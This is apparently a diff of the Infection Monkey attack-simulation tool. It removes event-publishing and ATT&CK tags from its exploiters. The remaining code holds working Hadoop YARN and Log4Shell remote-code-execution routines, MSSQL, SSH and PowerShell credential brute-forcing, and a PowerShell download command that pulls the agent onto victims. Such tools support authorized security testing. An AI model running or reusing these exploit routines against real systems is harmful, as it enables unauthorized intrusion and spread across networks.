from .aggregating_propagation_credentials_repository import (
|
||||
AggregatingPropagationCredentialsRepository,
|
||||
)
|
||||
from .add_credentials_from_event import (
|
||||
add_credentials_from_event_to_propagation_credentials_repository,
|
||||
)
|
||||
|
|
|
@ -1,12 +1,13 @@
|
|||
import logging
|
||||
|
||||
from common.agent_events import CredentialsStolenEvent
|
||||
from infection_monkey.credential_repository import IPropagationCredentialsRepository
|
||||
|
||||
from . import IPropagationCredentialsRepository
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class add_stolen_credentials_to_propagation_credentials_repository:
|
||||
class add_credentials_from_event_to_propagation_credentials_repository:
|
||||
def __init__(self, credentials_repository: IPropagationCredentialsRepository):
|
||||
self._credentials_repository = credentials_repository
|
||||
|
|
@ -2,17 +2,13 @@ import logging
|
|||
import threading
|
||||
from abc import abstractmethod
|
||||
from datetime import datetime
|
||||
from ipaddress import IPv4Address
|
||||
from time import time
|
||||
from typing import Dict, Sequence, Tuple
|
||||
from typing import Dict, Sequence
|
||||
|
||||
from common.agent_events import ExploitationEvent, PropagationEvent
|
||||
from common.event_queue import IAgentEventQueue
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import VictimHost
|
||||
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
|
||||
from infection_monkey.utils.ids import get_agent_id
|
||||
|
||||
from . import IAgentBinaryRepository
|
||||
|
||||
|
@ -25,16 +21,6 @@ class HostExploiter:
|
|||
def _EXPLOITED_SERVICE(self):
|
||||
pass
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def _EXPLOITER_TAGS(self) -> Tuple[str, ...]:
|
||||
pass
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def _PROPAGATION_TAGS(self) -> Tuple[str, ...]:
|
||||
pass
|
||||
|
||||
def __init__(self):
|
||||
self.exploit_info = {
|
||||
"display_name": self._EXPLOITED_SERVICE,
|
||||
|
@ -47,7 +33,7 @@ class HostExploiter:
|
|||
self.exploit_attempts = []
|
||||
self.host = None
|
||||
self.telemetry_messenger = None
|
||||
self.agent_event_queue = None
|
||||
self.event_queue = None
|
||||
self.options = {}
|
||||
self.exploit_result = {}
|
||||
self.servers = []
|
||||
|
@ -70,13 +56,14 @@ class HostExploiter:
|
|||
}
|
||||
)
|
||||
|
||||
# TODO: host should be VictimHost, at the moment it can't because of circular dependency
|
||||
def exploit_host(
|
||||
self,
|
||||
host: VictimHost,
|
||||
servers: Sequence[str],
|
||||
current_depth: int,
|
||||
telemetry_messenger: ITelemetryMessenger,
|
||||
agent_event_queue: IAgentEventQueue,
|
||||
event_queue: IAgentEventQueue,
|
||||
agent_binary_repository: IAgentBinaryRepository,
|
||||
options: Dict,
|
||||
interrupt: threading.Event,
|
||||
|
@ -85,7 +72,7 @@ class HostExploiter:
|
|||
self.servers = servers
|
||||
self.current_depth = current_depth
|
||||
self.telemetry_messenger = telemetry_messenger
|
||||
self.agent_event_queue = agent_event_queue
|
||||
self.event_queue = event_queue
|
||||
self.agent_binary_repository = agent_binary_repository
|
||||
self.options = options
|
||||
self.interrupt = interrupt
|
||||
|
@ -138,39 +125,3 @@ class HostExploiter:
|
|||
"""
|
||||
powershell = True if "powershell" in cmd.lower() else False
|
||||
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
|
||||
|
||||
def _publish_exploitation_event(
|
||||
self,
|
||||
time: float = time(),
|
||||
success: bool = False,
|
||||
tags: Tuple[str, ...] = tuple(),
|
||||
error_message: str = "",
|
||||
):
|
||||
exploitation_event = ExploitationEvent(
|
||||
source=get_agent_id(),
|
||||
target=IPv4Address(self.host.ip_addr),
|
||||
success=success,
|
||||
exploiter_name=self.__class__.__name__,
|
||||
error_message=error_message,
|
||||
timestamp=time,
|
||||
tags=frozenset(tags or self._EXPLOITER_TAGS),
|
||||
)
|
||||
self.agent_event_queue.publish(exploitation_event)
|
||||
|
||||
def _publish_propagation_event(
|
||||
self,
|
||||
time: float = time(),
|
||||
success: bool = False,
|
||||
tags: Tuple[str, ...] = tuple(),
|
||||
error_message: str = "",
|
||||
):
|
||||
propagation_event = PropagationEvent(
|
||||
source=get_agent_id(),
|
||||
target=IPv4Address(self.host.ip_addr),
|
||||
success=success,
|
||||
exploiter_name=self.__class__.__name__,
|
||||
error_message=error_message,
|
||||
timestamp=time,
|
||||
tags=frozenset(tags or self._PROPAGATION_TAGS),
|
||||
)
|
||||
self.agent_event_queue.publish(propagation_event)
|
||||
|
|
|
@ -5,20 +5,13 @@
|
|||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import posixpath
|
||||
import random
|
||||
import string
|
||||
from time import time
|
||||
|
||||
import requests
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from common.tags import (
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
T1210_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
|
@ -30,10 +23,6 @@ from infection_monkey.model import (
|
|||
)
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
|
||||
|
||||
|
||||
class HadoopExploiter(WebRCE):
|
||||
_EXPLOITED_SERVICE = "Hadoop"
|
||||
|
@ -43,43 +32,39 @@ class HadoopExploiter(WebRCE):
|
|||
# Random string's length that's used for creating unique app name
|
||||
RAN_STR_LEN = 6
|
||||
|
||||
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
|
||||
|
||||
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
|
||||
|
||||
def __init__(self):
|
||||
super(HadoopExploiter, self).__init__()
|
||||
|
||||
def _exploit_host(self):
|
||||
# Try to get potential urls
|
||||
potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||
if not potential_urls:
|
||||
self.exploit_result.error_message = (
|
||||
f"No potential exploitable urls has been found for {self.host}"
|
||||
)
|
||||
# Try to get exploitable url
|
||||
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
return self.exploit_result
|
||||
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
try:
|
||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||
except KeyError:
|
||||
return self.exploit_result
|
||||
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, str(monkey_path_on_victim), self.agent_binary_repository
|
||||
)
|
||||
|
||||
command = self._build_command(monkey_path_on_victim, http_path)
|
||||
try:
|
||||
for url in potential_urls:
|
||||
if self.exploit(url, command):
|
||||
self.add_executed_cmd(command)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
break
|
||||
command = self._build_command(monkey_path_on_victim, http_path)
|
||||
|
||||
if self.exploit(self.vulnerable_urls[0], command):
|
||||
self.add_executed_cmd(command)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.exploit_result.propagation_success = True
|
||||
finally:
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
def exploit(self, url: str, command: str):
|
||||
def exploit(self, url, command):
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return False
|
||||
|
@ -88,8 +73,8 @@ class HadoopExploiter(WebRCE):
|
|||
resp = requests.post(
|
||||
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
|
||||
)
|
||||
resp_dict = json.loads(resp.content)
|
||||
app_id = resp_dict["application-id"]
|
||||
resp = json.loads(resp.content)
|
||||
app_id = resp["application-id"]
|
||||
|
||||
# Create a random name for our application in YARN
|
||||
# random.SystemRandom can block indefinitely in Linux
|
||||
|
@ -102,16 +87,10 @@ class HadoopExploiter(WebRCE):
|
|||
self._set_interrupted()
|
||||
return False
|
||||
|
||||
timestamp = time()
|
||||
resp = requests.post(
|
||||
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
||||
)
|
||||
|
||||
success = resp.status_code == 202
|
||||
message = "" if success else f"Failed to exploit via {url}"
|
||||
self._publish_exploitation_event(timestamp, success, error_message=message)
|
||||
self._publish_propagation_event(timestamp, success, error_message=message)
|
||||
return success
|
||||
return resp.status_code == 202
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
try:
|
||||
|
|
|
@ -4,11 +4,6 @@ from pathlib import PurePath
|
|||
|
||||
from common import OperatingSystem
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
from common.tags import (
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.utils import Timer
|
||||
from infection_monkey.exploit.log4shell_utils import (
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||
|
@ -31,26 +26,12 @@ from infection_monkey.utils.threading import interruptible_iter
|
|||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
|
||||
VICTIM_WAIT_SLEEP_TIME_SEC = 0.050
|
||||
|
||||
|
||||
class Log4ShellExploiter(WebRCE):
|
||||
_EXPLOITED_SERVICE = "Log4j"
|
||||
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
|
||||
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
||||
|
||||
_EXPLOITER_TAGS = (
|
||||
LOG4SHELL_EXPLOITER_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
_PROPAGATION_TAGS = (
|
||||
LOG4SHELL_EXPLOITER_TAG,
|
||||
T1203_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
self._open_ports = [
|
||||
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||
|
@ -165,37 +146,24 @@ class Log4ShellExploiter(WebRCE):
|
|||
f"on port {port}"
|
||||
)
|
||||
try:
|
||||
timestamp = time.time()
|
||||
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
|
||||
except Exception as err:
|
||||
error_message = (
|
||||
except Exception as ex:
|
||||
logger.warning(
|
||||
"An error occurred while attempting to exploit log4shell on a "
|
||||
f"potential {exploit.service_name} service: {err}"
|
||||
f"potential {exploit.service_name} service: {ex}"
|
||||
)
|
||||
|
||||
logger.warning(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
|
||||
# TODO: _wait_for_victim() gets called even if trigger_exploit() raises an
|
||||
# exception. Is that the desired behavior?
|
||||
if self._wait_for_victim(timestamp):
|
||||
if self._wait_for_victim():
|
||||
self.exploit_info["vulnerable_service"] = {
|
||||
"service_name": exploit.service_name,
|
||||
"port": port,
|
||||
}
|
||||
self.exploit_info["vulnerable_urls"].append(url)
|
||||
|
||||
def _wait_for_victim(self, timestamp: float) -> bool:
|
||||
def _wait_for_victim(self) -> bool:
|
||||
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
|
||||
if victim_called_back:
|
||||
self._publish_exploitation_event(timestamp, True)
|
||||
|
||||
victim_downloaded_agent = self._wait_for_victim_to_download_agent()
|
||||
self._publish_propagation_event(success=victim_downloaded_agent)
|
||||
else:
|
||||
error_message = "Timed out while waiting for victim to download the java bytecode"
|
||||
logger.debug(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self._wait_for_victim_to_download_agent()
|
||||
|
||||
return victim_called_back
|
||||
|
||||
|
@ -208,20 +176,19 @@ class Log4ShellExploiter(WebRCE):
|
|||
self.exploit_result.exploitation_success = True
|
||||
return True
|
||||
|
||||
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
|
||||
time.sleep(1)
|
||||
|
||||
logger.debug("Timed out while waiting for victim to download the java bytecode")
|
||||
return False
|
||||
|
||||
def _wait_for_victim_to_download_agent(self) -> bool:
|
||||
def _wait_for_victim_to_download_agent(self):
|
||||
timer = Timer()
|
||||
timer.set(LONG_REQUEST_TIMEOUT)
|
||||
|
||||
while not timer.is_expired():
|
||||
if self._agent_http_server_thread.downloads > 0:
|
||||
self.exploit_result.propagation_success = True
|
||||
return True
|
||||
break
|
||||
|
||||
# TODO: if the http server got an error we're waiting for nothing here
|
||||
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
|
||||
|
||||
return False
|
||||
time.sleep(1)
|
||||
|
|
|
@ -1,18 +1,12 @@
|
|||
import logging
|
||||
from pathlib import PureWindowsPath
|
||||
from time import sleep, time
|
||||
from typing import Iterable, Optional, Tuple
|
||||
from time import sleep
|
||||
from typing import Sequence, Tuple
|
||||
|
||||
import pymssql
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
|
||||
from common.credentials import get_plaintext
|
||||
from common.tags import (
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1210_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
|
@ -26,8 +20,6 @@ from infection_monkey.utils.threading import interruptible_iter
|
|||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
|
||||
|
||||
|
||||
class MSSQLExploiter(HostExploiter):
|
||||
_EXPLOITED_SERVICE = "MSSQL"
|
||||
|
@ -44,20 +36,13 @@ class MSSQLExploiter(HostExploiter):
|
|||
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
||||
)
|
||||
|
||||
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
|
||||
_PROPAGATION_TAGS = (
|
||||
MSSQL_EXPLOITER_TAG,
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.cursor = None
|
||||
self.agent_http_path = None
|
||||
|
||||
def _exploit_host(self) -> ExploiterResultData:
|
||||
agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
|
||||
agent_path_on_victim = get_agent_dst_path(self.host)
|
||||
|
||||
# Brute force to get connection
|
||||
creds = generate_identity_secret_pairs(
|
||||
|
@ -67,18 +52,16 @@ class MSSQLExploiter(HostExploiter):
|
|||
try:
|
||||
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
|
||||
except FailedExploitationError:
|
||||
error_message = (
|
||||
logger.info(
|
||||
f"Failed brute-forcing of MSSQL server on {self.host},"
|
||||
f" no credentials were successful"
|
||||
)
|
||||
logger.error(error_message)
|
||||
return self.exploit_result
|
||||
|
||||
if self._is_interrupted():
|
||||
self._set_interrupted()
|
||||
return self.exploit_result
|
||||
|
||||
timestamp = time()
|
||||
try:
|
||||
self._upload_agent(agent_path_on_victim)
|
||||
self._run_agent(agent_path_on_victim)
|
||||
|
@ -89,17 +72,15 @@ class MSSQLExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
logger.error(error_message)
|
||||
self._publish_propagation_event(timestamp, False, error_message=error_message)
|
||||
self.exploit_result.error_message = error_message
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
self._publish_propagation_event(timestamp, True)
|
||||
self.exploit_result.propagation_success = True
|
||||
return self.exploit_result
|
||||
|
||||
def _brute_force(
|
||||
self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
|
||||
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
|
||||
) -> pymssql.Cursor:
|
||||
"""
|
||||
Starts the brute force connection attempts and if needed then init the payload process.
|
||||
|
@ -125,7 +106,6 @@ class MSSQLExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
for user, password in credentials_iterator:
|
||||
timestamp = time()
|
||||
try:
|
||||
# Core steps
|
||||
# Trying to connect
|
||||
|
@ -142,14 +122,14 @@ class MSSQLExploiter(HostExploiter):
|
|||
)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
||||
self._report_login_attempt(timestamp, True, user, password)
|
||||
self.report_login_attempt(True, user, password)
|
||||
cursor = conn.cursor()
|
||||
|
||||
return cursor
|
||||
except pymssql.OperationalError as err:
|
||||
error_message = f"Connection to MSSQL failed: {err}"
|
||||
logger.info(error_message)
|
||||
self._report_login_attempt(timestamp, False, user, password, error_message)
|
||||
logger.info(f"Connection to MSSQL failed: {err}")
|
||||
self.report_login_attempt(False, user, password)
|
||||
# Combo didn't work, hopping to the next one
|
||||
pass
|
||||
|
||||
logger.warning(
|
||||
"No user/password combo was able to connect to host: {0}:{1}, "
|
||||
|
@ -159,23 +139,14 @@ class MSSQLExploiter(HostExploiter):
|
|||
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
||||
)
|
||||
|
||||
def _report_login_attempt(
|
||||
self, timestamp: float, success: bool, user, password: str, message: str = ""
|
||||
):
|
||||
self._publish_exploitation_event(timestamp, success, error_message=message)
|
||||
self.report_login_attempt(success, user, password)
|
||||
|
||||
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
|
||||
http_thread = self._start_agent_server(agent_path_on_victim)
|
||||
|
||||
self._run_agent_download_command(agent_path_on_victim)
|
||||
|
||||
if http_thread:
|
||||
MSSQLExploiter._stop_agent_server(http_thread)
|
||||
MSSQLExploiter._stop_agent_server(http_thread)
|
||||
|
||||
def _start_agent_server(
|
||||
self, agent_path_on_victim: PureWindowsPath
|
||||
) -> Optional[LockedHTTPServer]:
|
||||
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
|
||||
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||
self.host, str(agent_path_on_victim), self.agent_binary_repository
|
||||
)
|
||||
|
@ -208,7 +179,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
|
||||
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
|
||||
agent_args = build_monkey_commandline(
|
||||
self.servers, self.current_depth + 1, str(agent_path_on_victim)
|
||||
self.servers, self.current_depth + 1, agent_path_on_victim
|
||||
)
|
||||
|
||||
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
|
||||
|
|
|
@ -1,14 +1,8 @@
|
|||
import logging
|
||||
from pathlib import Path, PurePath
|
||||
from time import time
|
||||
from typing import List, Optional
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.tags import (
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options
|
||||
from infection_monkey.exploit.powershell_utils.credentials import (
|
||||
|
@ -27,7 +21,6 @@ from infection_monkey.utils.environment import is_windows_os
|
|||
from infection_monkey.utils.threading import interruptible_iter
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
POWERSHELL_EXPLOITER_TAG = "powershell-exploiter"
|
||||
|
||||
|
||||
class RemoteAgentCopyError(Exception):
|
||||
|
@ -41,17 +34,6 @@ class RemoteAgentExecutionError(Exception):
|
|||
class PowerShellExploiter(HostExploiter):
|
||||
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
|
||||
|
||||
_EXPLOITER_TAGS = (
|
||||
POWERSHELL_EXPLOITER_TAG,
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
_PROPAGATION_TAGS = (
|
||||
POWERSHELL_EXPLOITER_TAG,
|
||||
T1059_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self._client = None
|
||||
|
@ -86,21 +68,12 @@ class PowerShellExploiter(HostExploiter):
|
|||
)
|
||||
return self.exploit_result
|
||||
|
||||
execute_agent_timestamp = time()
|
||||
try:
|
||||
self._execute_monkey_agent_on_victim()
|
||||
except Exception as err:
|
||||
self.exploit_result.error_message = f"Failed to propagate to the remote host: {err}"
|
||||
self._publish_propagation_event(
|
||||
time=execute_agent_timestamp,
|
||||
success=False,
|
||||
error_message=self.exploit_result.error_message,
|
||||
)
|
||||
logger.error(self.exploit_result.error_message)
|
||||
return self.exploit_result
|
||||
|
||||
self.exploit_result.propagation_success = True
|
||||
self._publish_propagation_event(time=execute_agent_timestamp, success=True)
|
||||
self.exploit_result.propagation_success = True
|
||||
except Exception as ex:
|
||||
logger.error(f"Failed to propagate to the remote host: {ex}")
|
||||
self.exploit_result.error_message = str(ex)
|
||||
|
||||
return self.exploit_result
|
||||
|
||||
|
@ -121,27 +94,21 @@ class PowerShellExploiter(HostExploiter):
|
|||
|
||||
try:
|
||||
client = PowerShellClient(self.host.ip_addr, creds, opts)
|
||||
connect_timestamp = time()
|
||||
client.connect()
|
||||
logger.info(
|
||||
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{creds.username}, Secret Type: {creds.secret_type.name}"
|
||||
)
|
||||
|
||||
self._publish_exploitation_event(time=connect_timestamp, success=True)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self._report_login_attempt(True, creds)
|
||||
|
||||
return client
|
||||
except Exception as ex:
|
||||
error_message = (
|
||||
logger.debug(
|
||||
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
|
||||
)
|
||||
logger.debug(error_message)
|
||||
self._publish_exploitation_event(
|
||||
time=connect_timestamp, success=False, error_message=error_message
|
||||
)
|
||||
self._report_login_attempt(False, creds)
|
||||
|
||||
return None
|
||||
|
|
|
@ -43,7 +43,7 @@ def format_password(credentials: Credentials) -> Optional[str]:
|
|||
if credentials.secret_type == SecretType.CACHED:
|
||||
return None
|
||||
|
||||
plaintext_secret = str(get_plaintext(credentials.secret))
|
||||
plaintext_secret = get_plaintext(credentials.secret)
|
||||
|
||||
if credentials.secret_type == SecretType.PASSWORD:
|
||||
return plaintext_secret
|
||||
|
|
|
@ -1,27 +1,15 @@
|
|||
import io
|
||||
import logging
|
||||
from ipaddress import IPv4Address
|
||||
from pathlib import PurePath
|
||||
from time import time
|
||||
from typing import Optional
|
||||
|
||||
import paramiko
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.agent_events import TCPScanEvent
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
from common.credentials import get_plaintext
|
||||
from common.tags import (
|
||||
T1021_ATTACK_TECHNIQUE_TAG,
|
||||
T1105_ATTACK_TECHNIQUE_TAG,
|
||||
T1110_ATTACK_TECHNIQUE_TAG,
|
||||
T1222_ATTACK_TECHNIQUE_TAG,
|
||||
)
|
||||
from common.types import PortStatus
|
||||
from common.utils import Timer
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from common.utils.exceptions import FailedExploitationError
|
||||
from infection_monkey.exploit import RetrievalError
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
|
@ -31,7 +19,6 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
|||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.ids import get_agent_id
|
||||
from infection_monkey.utils.threading import interruptible_iter
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
@ -43,15 +30,11 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
|
|||
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
|
||||
|
||||
TRANSFER_UPDATE_RATE = 15
|
||||
SSH_EXPLOITER_TAG = "ssh-exploiter"
|
||||
|
||||
|
||||
class SSHExploiter(HostExploiter):
|
||||
_EXPLOITED_SERVICE = "SSH"
|
||||
|
||||
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
|
||||
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
|
||||
|
||||
def __init__(self):
|
||||
super(SSHExploiter, self).__init__()
|
||||
|
||||
|
@ -63,7 +46,7 @@ class SSHExploiter(HostExploiter):
|
|||
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
||||
timer.reset()
|
||||
|
||||
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
|
||||
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
|
||||
user_ssh_key_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_ssh_keys"],
|
||||
|
@ -87,8 +70,6 @@ class SSHExploiter(HostExploiter):
|
|||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
|
||||
logger.error("Failed reading ssh key")
|
||||
|
||||
timestamp = time()
|
||||
try:
|
||||
ssh.connect(
|
||||
self.host.ip_addr,
|
||||
|
@ -105,30 +86,20 @@ class SSHExploiter(HostExploiter):
|
|||
)
|
||||
self.add_vuln_port(port)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self._publish_exploitation_event(timestamp, True)
|
||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||
return ssh
|
||||
except paramiko.AuthenticationException as err:
|
||||
ssh.close()
|
||||
error_message = (
|
||||
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
|
||||
logger.info(
|
||||
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
|
||||
)
|
||||
logger.info(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
continue
|
||||
except Exception as err:
|
||||
error_message = (
|
||||
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
|
||||
f"{err}"
|
||||
)
|
||||
logger.error(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||
|
||||
logger.error(f"Unknown error while attempting to login with ssh key: {err}")
|
||||
raise FailedExploitationError
|
||||
|
||||
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
|
||||
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
|
||||
user_password_pairs = generate_identity_secret_pairs(
|
||||
identities=self.options["credentials"]["exploit_user_list"],
|
||||
secrets=self.options["credentials"]["exploit_password_list"],
|
||||
|
@ -145,8 +116,6 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||
|
||||
timestamp = time()
|
||||
try:
|
||||
ssh.connect(
|
||||
self.host.ip_addr,
|
||||
|
@ -162,79 +131,108 @@ class SSHExploiter(HostExploiter):
|
|||
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
|
||||
self.add_vuln_port(port)
|
||||
self.exploit_result.exploitation_success = True
|
||||
self._publish_exploitation_event(timestamp, True)
|
||||
self.report_login_attempt(True, user, current_password)
|
||||
return ssh
|
||||
|
||||
except paramiko.AuthenticationException as err:
|
||||
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
|
||||
logger.debug(error_message)
|
||||
self._publish_exploitation_event(timestamp, False, error_message=error_message)
|
||||
logger.debug(
|
||||
"Failed logging into victim %r with user" " %s: (%s)",
|
||||
self.host,
|
||||
user,
|
||||
err,
|
||||
)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
ssh.close()
|
||||
continue
|
||||
except Exception as err:
|
||||
error_message = (
|
||||
f"Unexpected error while attempting to login to {self.host} with password: "
|
||||
f"{err}"
|
||||
)
|
||||
logger.error(error_message)
|
||||
